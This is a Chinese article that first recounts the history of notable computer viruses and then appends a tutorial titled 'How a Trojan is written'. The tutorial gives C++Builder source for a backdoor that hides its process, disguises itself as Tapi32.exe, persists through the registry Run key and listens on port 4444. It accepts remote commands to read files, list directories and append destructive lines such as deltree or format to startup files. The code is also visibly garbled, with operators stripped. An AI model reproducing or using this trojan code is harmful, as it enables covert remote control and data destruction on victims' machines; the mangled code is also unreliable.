二十年最强悍病毒排行榜
自从第一个计算机病毒爆发以来,已经过去了20年左右的时间。《InformationWeek》最近评出了迄今为止破坏程度最为严重的十大病毒。
上个世纪80年代上半期,计算机病毒只是存在于实验室中。尽管也有一些病毒传播了出去,但绝大多数都被研究人员严格地控制在了实验室中。随后,“大脑”(Brain)病毒出现了。1986年年初,人们发现了这种计算机病毒,它是第一个PC病毒,也是能够自我复制的软件,并通过5.2英寸的软盘进行广泛传播。按照今天的标准来衡量,Brain的传播速度几乎是缓慢地爬行,但是无论如何,它也称得上是我们目前为之困扰的更有害的病毒、蠕虫和恶意软件的鼻祖。下面就是这20年来计算机病毒发展的历史。
CIH
估计损失:全球约2,000万~8,000万美元,计算机的数据损失没有统计在内。
CIH病毒1998年6月爆发于中国***,是公认的有史以来危险程度最高、破坏强度最大的病毒之一。
CIH感染Windows 95/98/ME等操作系统的可执行文件,能够驻留在计算机内存中,并据此继续感染其他可执行文件。
CIH的危险之处在于,一旦被激活,它可以覆盖主机硬盘上的数据并导致硬盘失效。它还具备覆盖主机BIOS芯片的能力,从而使计算机引导失败。由于能够感染可执行文件,CIH更是借众多软件分销商之力大行其道,其中就包括Activision游戏公司一款名为“原罪”(Sin)游戏的演示版。
CIH一些变种的触发日期恰好是切尔诺贝利核电站事故发生之日,因此它也被称为切尔诺贝利病毒。但它不会感染Windows 2000/XP/NT等操作系统,如今,CIH已经不是什么严重威胁了。
梅利莎(Melissa)
损失估计:全球约3亿~6亿美元
1999年3月26日,星期五,W97M/梅利莎登上了全球各地报纸的头版。估计数字显示,这个Word宏脚本病毒感染了全球15%~20%的商用PC。病毒传播速度之快令英特尔公司(Intel)、微软公司(Microsoft,下称微软)、以及其他许多使用Outlook软件的公司措手不及,为了防止损害,他们被迫关闭整个电子邮件系统。
梅利莎通过微软的Outlook电子邮件软件,向用户通讯簿名单中的50位联系人发送邮件来传播自身。
该邮件包含以下这句话:“这就是你请求的文档,不要给别人看”,此外夹带一个Word文档附件。而单击这个文件(成千上万毫无疑虑的用户都是这么做的),就会使病毒感染主机并且重复自我复制。
更加令人恼火的事情还在后头——一旦被激活,病毒就用动画片《辛普森一家》(The Simpsons)的台词修改用户的Word文档。
我爱你(ILOVEYOU)
损失估计:全球约100亿~150亿美元
又称情书或爱虫。它是一个Visual Basic脚本,设计精妙,还有令人难以抗拒的诱饵——爱的诺言。
2000年5月3日,“我爱你”蠕虫病毒首次在香港被发现。
“我爱你”蠕虫病毒病毒通过一封标题为“我爱你(ILOVEYOU)”、附件名称为“Love-Letter-For-You.TXT.vbs”的邮件进行传输。和梅利莎类似,病毒也向Microsoft Outlook通讯簿中的联系人发送自身。
它还大肆复制自身覆盖音乐和图片文件。更可气的是,它还会在受到感染的机器上搜索用户的账号和密码,并发送给病毒作者。
由于当时菲律宾并无制裁编写病毒程序的法律,“我爱你”病毒的作者因此逃过一劫。
红色代码(Code Red)
损失估计:全球约26亿美元
“红色代码”是一种计算机蠕虫病毒,能够通过网络服务器和互联网进行传播。2001年7月13日,红色代码从网络服务器上传播开来。它是专门针对运行微软互联网信息服务软件的网络服务器来进行攻击。极具讽刺意味的是,在此之前的六月中旬,微软曾经发布了一个补丁,来修补这个漏洞。
“红色代码”还被称为Bady,设计者蓄意进行最大程度的破坏。被它感染后,遭受攻击的主机所控制的网络站点上会显示这样的信息:“你好!欢迎光临!”。随后,病毒便会主动寻找其他易受攻击的主机进行感染。这个行为持续大约20天,之后它便对某些特定IP地址发起拒绝服务(DoS)攻击。在短短不到一周的时间内,这个病毒感染了近40万台服务器,据估计多达100万台计算机受到感染。
SQL Slammer
损失估计:由于SQL Slammer爆发的日期是星期六,破坏所造成的金钱损失并不大。尽管如此,它仍然冲击了全球约50万台服务器,韩国的在线能力瘫痪长达12小时。
SQL Slammer也被称为“蓝宝石”(Sapphire),2003年1月25日首次出现。它是一个非同寻常的蠕虫病毒,给互联网的流量造成了显而易见的负面影响。有意思的是,它的目标并非终端计算机用户,而是服务器。它是一个单包的、长度为376字节的蠕虫病毒,它随机产生IP地址,并向这些IP地址发送自身。如果某个IP地址恰好是一台运行着未打补丁的微软SQL服务器桌面引擎(SQL Server Desktop Engine)软件的计算机,它也会迅速开始向随机IP地址的主机开火,发射病毒。
正是运用这种效果显著的传播方式,SQL Slammer在十分钟之内感染了7.5万台计算机。庞大的数据流量令全球的路由器不堪重负,如此循环往复,更高的请求被发往更多的路由器,导致它们一个个被关闭。
冲击波(Blaster)
损失估计:20亿~100亿美元,受到感染的计算机不计其数。
对于依赖计算机运行的商业领域而言,2003年夏天是一个艰难的时期。一波未平,一波又起。IT人士在此期间受到了“冲击波”和“霸王虫”蠕虫的双面夹击。“冲击波”(又称“Lovsan”或“MSBlast”)首先发起攻击。病毒最早于当年8月11日被检测出来并迅速传播,两天之内就达到了攻击顶峰。病毒通过网络连接和网络流量传播,利用了Windows 2000/XP的一个弱点进行攻击,被激活以后,它会向计算机用户展示一个恶意对话框,提示系统将关闭。在病毒的可执行文件MSBLAST.EXE代码中隐藏着这些信息:“桑(San),我只想说爱你!”以及“比尔?盖茨(Bill Gates)你为什么让这种事情发生?别再敛财了,修补你的软件吧!”
病毒还包含了可于4月15日向Windows升级网站(Windowsupdate.com)发起分布式DoS攻击的代码。但那时,“冲击波”造成的损害已经过了高峰期,基本上得到了控制。
霸王虫(Sobig.F)
损失估计:50亿~100亿美元,超过100万台计算机被感染.。
“冲击波”一走,“霸王虫”蠕虫便接踵而至,对企业和家庭计算机用户而言,2003年8月可谓悲惨的一月。最具破坏力的变种是Sobig.F,它8月19日开始迅速传播,在最初的24小时之内,自身复制了100万次,创下了历史纪录(后来被Mydoom病毒打破)。病毒伪装在文件名看似无害的邮件附件之中。被激活之后,这个蠕虫便向用户的本地文件类型中发现的电子邮件地址传播自身。最终结果是造成互联网流量激增。
2003年9月10日,病毒禁用了自身,从此不再成为威胁。为得到线索,找出Sobig.F病毒的始作俑者,微软宣布悬赏25万美元,但至今为止,这个作恶者也没有被抓到。
Bagle
损失估计:数千万美元,并在不断增加
Bagle是一个经典而复杂的蠕虫病毒,2004年1月18日首次露面。这个恶意代码采取传统的机制——电子邮件附件感染用户系统,然后彻查视窗(Windows)文件,寻找到电子邮件地址发送以复制自身。
Bagle(又称Beagle)及其60~100个变种的真正危险在于,蠕虫感染了一台计算机之后,便在其TCP端口开启一个后门,远程用户和应用程序利用这个后门得到受感染系统上的数据(包括金融和个人信息在内的任何数据)访问权限。据2005年4月,TechWeb.com的一篇文章称,这种蠕虫“通常被那帮为了扬名而不惜一切手段的黑客们称为‘通过恶意软件获利运动’的始作俑者”。
Bagle.B变种被设计成在2004年1月28日之后停止传播,但是到目前为止还有大量的其他变种继续困扰用户。
MyDoom
损失估计:在其爆发的高峰期,全球互联网的速度性能下降了10%,网页的下载时间增加了50%。
2004年1月26日几个小时之间,MyDoom通过电子邮件在互联网上以史无前例的速度迅速传播,顷刻之间全球都能感受到它所带来的冲击波。它还有一个名称叫做Norvarg,它传播自身的方式极为迂回曲折:它把自己伪装成一封包含错误信息“邮件处理失败”、看似电子邮件错误信息邮件的附件,单击这个附件,它就被传播到了地址簿中的其他地址。MyDoom还试图通过P2P软件Kazaa用户网络账户的共享文件夹来进行传播。
这个复制进程相当成功,计算机安全专家估计,在受到感染的最初一个小时,每十封电子邮件就有一封携带病毒。MyDoom病毒程序自身设计成2004年2月12日以后停止传播。
震荡波(Sasser)
损失估计:数千万美元
“震荡波”自2004年8月30日起开始传播,其破坏能力之大令法国一些新闻机构不得不关闭了卫星通讯。它还导致德尔塔航空公司(Delta)取消了数个航班,全球范围内的许多公司不得不关闭了系统。
与先前多数病毒不同的是,“震荡波”的传播并非通过电子邮件,也不需要用户的交互动作。
“震荡波”病毒是利用了未升级的Windows 2000/XP系统的一个安全漏洞。一旦成功复制,蠕虫便主动扫描其他未受保护的系统并将自身传播到那里。受感染的系统会不断发生崩溃和不稳定的情况。
“震荡波”是德国一名17岁的高中生编写的,他在18岁生日那天释放了这个病毒。由于编写这些代码的时候他还是个未成年人,德国一家法庭认定他从事计算机破坏活动,仅判了缓刑。
边栏1:病毒纪年
1982
Elk Cloner病毒是实验室之外诞生的最早的计算机病毒之一。该病毒感染了当时风靡一时的苹果II型(Apple II)计算机。
1983
早期的病毒研究人员,佛瑞德?科恩(Fred Cohen),提出了“计算机病毒”(Computer Virus)的概念,并将其定义为“是一类特殊的计算机程序,这类程序能够修改其他程序,在其中嵌入他们自身或是自身的进化版本,从而来达到“感染”其他程序的目的。”
1986
“大脑”(Brain)病毒出现。这是一种启动区病毒,当计算机重启时,通过A驱动器中的软盘传播。该病毒不仅是最早的PC病毒,还是第一例隐蔽型病毒—被感染的磁盘并不会呈现明显症状。
1987
“李海”(Lehigh)病毒最早在美国的李海大学(Lehigh University)被发现。该病毒驻留内存,而且是第一个感染可执行文件的病毒。
同年,商业杀毒软件登上历史舞台,其中包括约翰?迈克菲(John McAfee)的VirusScan和罗斯?格林伯格(Ross Greenberg)的Flu_Shot。
1988
这一年诞生了最早在Mac系统传播的病毒,MacMag病毒和Scores病毒。
同年出现的Cascade病毒是第一个经加密后难以删除和修改的病毒。
第一个广泛传播的蠕虫病毒是“莫里斯的蠕虫”(Morris Worm)病毒。蠕虫是病毒的一种,它们通过外界资源,比如互联网或是网络服务器,传播自身。美国国内一位著名计算机安全顾问的儿子,罗伯特?T?莫里斯(Robert T. Morris),将该病毒从麻省理工学院(MIT)释放到了互联网上。但是,他声称这一切纯属意外。
1989
“黑暗复仇者”(Dark Avenger)/“埃迪”(Eddie)病毒是最早的反杀毒软件病毒。该病毒会删除部分杀毒软件。
“费雷多”(Frodo)病毒出现。这个病毒感染文件后具有一定隐蔽性,当用户对被感染计算机进行目录列表检查时,被感染文件的大小也不会发生改变,极具隐蔽性。
1990
出现了众多杀毒软件,其中包括沃尔夫冈?斯蒂勒(Wolfgang Stiller)的“整合专家”(Integrity Master),帕姆?凯恩(Pam Kane)的“熊猫反病毒”(Panda Anti-Virus)工具,以及雷?格雷斯(Ray Clath)的Vi-Spy软件。到此时,杀毒程序作者和病毒制造者已经开始展开了全面的较量。
变形病毒出现。这些病毒随机改变特征,同时对自身进行加密,从而避免被发现。最早的此类病毒可能是1260/V2P1病毒。
加壳病毒(Armored Virus)首次出现。此类病毒很难分解。比如防护能力极强的顽固病毒,“鲸鱼”(Whale)病毒。
1991
“特奎拉”(Tequila)病毒出现。特奎拉具有隐蔽性,属于复合型态,具备保护外壳,同时会对自身变换加密,每次感染时都会采用不同的密钥。该病毒攻击主引导记录。主引导记录一旦被感染就会随之感染其他程序。
一种名为病毒制造实验室(Virus Creation Lab)的病毒软件编写工具库催生了一系列病毒。但是大多数该类病毒都充满漏洞,而无法制造真正的威胁。
复合型DAMN病毒由“黑暗复仇者变形引擎”(Dark Avenger Mutation Engine)编写,并且在1992年大行其道。
1992
“米开朗基罗”(Michelangelo)病毒出现后感染所有类型的磁碟。但是,该病毒的散播范围比媒体预先估计的要小一些。
1993
当年出现的Satanbug/Little Loc/Natas病毒是同一个病毒的不同变种。
Satanbug病毒具有很强的反杀毒软件功能:该变种能够检查到四种杀毒软件,并且破坏相关磁碟。这是杀毒软件研究人员历史上第一次和美国联邦调查局(FBI)联手逮捕并且起诉了这个还是孩子的病毒编写者
1994
危害相对较小的KAOS4病毒出现在一个色情新闻组之中,并且很快通过COMSPEC/PATH环境变量传遍全球。这是第一个利用环境变量来定位潜在攻击对象目录的病毒。
1995
第一个宏病毒出现。宏病毒利用软件自带的编程语言编写来传播,比如微软公司(Microsoft,下称微软)的Word、Excel和Access。
1996
Laroux/Excel宏病毒利用微软为应用软件宏语言环境设计的新型Visual Basic语言,进行大范围自我复制。但是该病毒危害非常有限。
Boza病毒出现并且感染了曾号称百毒不侵的Windows 95操作平台。
Staag病毒这一年出现并且感染了当时刚刚诞生不久的Linux操作系统。
1998
StrangeBrew病毒在Java环境下传播和发作。这是一个概念性病毒,没有攻击性。
危险的CIH病毒现身后感染了视窗(Windows)可执行文件,覆盖了硬盘和BIOS数据,并且让无数计算机系统瘫痪。这个别名为“Chernobyl”的病毒在全球范围内造成了2,000万~8,000万美元的经济损失。CIH病毒对中国用户发起大规模的进攻,受损计算机超过几十万台。
1999
毁灭性的梅利莎(Melissa)Word 97宏病毒是目前为止传播得最快的一种病毒。这个以一个脱衣舞女命名的病毒是群发邮件病毒的鼻祖。
蠕虫病毒开始产生比普通病毒更大的危害。“泡沫男孩”(Bubble Boy)病毒是第一个在用户打开电子邮件附件之前就感染系统的蠕虫病毒。在邮件被浏览之时,蠕虫病毒已经开始暗中传播。
2000
我爱你(ILoveYou)病毒,又称情书或爱虫,也是群发邮件病毒。被感染的计算机会向邮件地址簿中的所有人发送包含病毒的电子邮件。
借助人们对于情书的好奇心,该病毒迅速传遍全球,造成了大范围的电子邮件阻塞和企业亿万美元的损失。
第一次分布式拒绝服务(DoS)攻击同时侵袭了亚马逊公司(Amazon)、电子港湾公司(eBay)、谷歌公司(Google)、雅虎公司(Yahoo)和微软的网站,攻击长达数小时之久。
2001
Sircam蠕虫病毒把被感染电脑的个人文档和数据文件通过电子邮件四处发送。但是由于该病毒文件比较大,限制了自身的传播速度。
“尼姆达”(Nimda)病毒利用复杂的复制和传染技术,在全球范围内感染了数十万台计算机。
“坏透了”(BadTrans)蠕虫病毒可以截获并且向病毒作者传回受感染用户的信用卡信息和密码。但是该病毒聪明的自我复制机制在真正发挥作用之前就被防病毒软件发现,并且在其大范围传播之前被追踪清除。
2002
梅利莎病毒的编写者大卫?史密斯(David L. Smith)被判处在联邦监狱服刑20个月。
2003
SQL Slammer蠕虫病毒在十分钟内攻击了7.5万台计算机,几乎每十秒钟就将攻击数量翻倍。虽然病毒没有造成直接伤害,但是该蠕虫病毒让网络服务器过载,全球内互联网阻塞。
“冲击波”(Blaster)蠕虫病毒在8月11日攻击了Windows 2000和Windows XP一个已经推出补丁的安全漏洞,让数十万台来不及打补丁的计算机陷入瘫痪。该病毒的最终目的是利用受感染的计算机在8月15日发动一次针对Windowsupdate.com的分布式DoS攻击,但是病毒的危害到当天已经基本被控制。
我国的北京、上海、广州、武汉、杭州等城市也遭到了强烈攻击,从11日到13日,短短三天间就有数万台电脑被感染,4,100多个企事业单位的局域网遭遇重创,其中2,000多个局域网陷入瘫痪,对相关机构的电子政务、电子商务工作产生了伤害,造成了巨大的经济损失。
“霸王虫”(Sobig.F)是一个群发邮件病毒,通过不安全的网络共享感染系统。该病毒传播迅速,24小时之内自我复制超过百万次。“霸王虫”病毒大规模爆发,波及亚洲、美洲和澳洲等地区,致使我国互联网大面积感染。这次比“冲击波”病毒更加强劲,截至8月14日22时,我国受袭击的局域网数量已增加到5,800个。
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
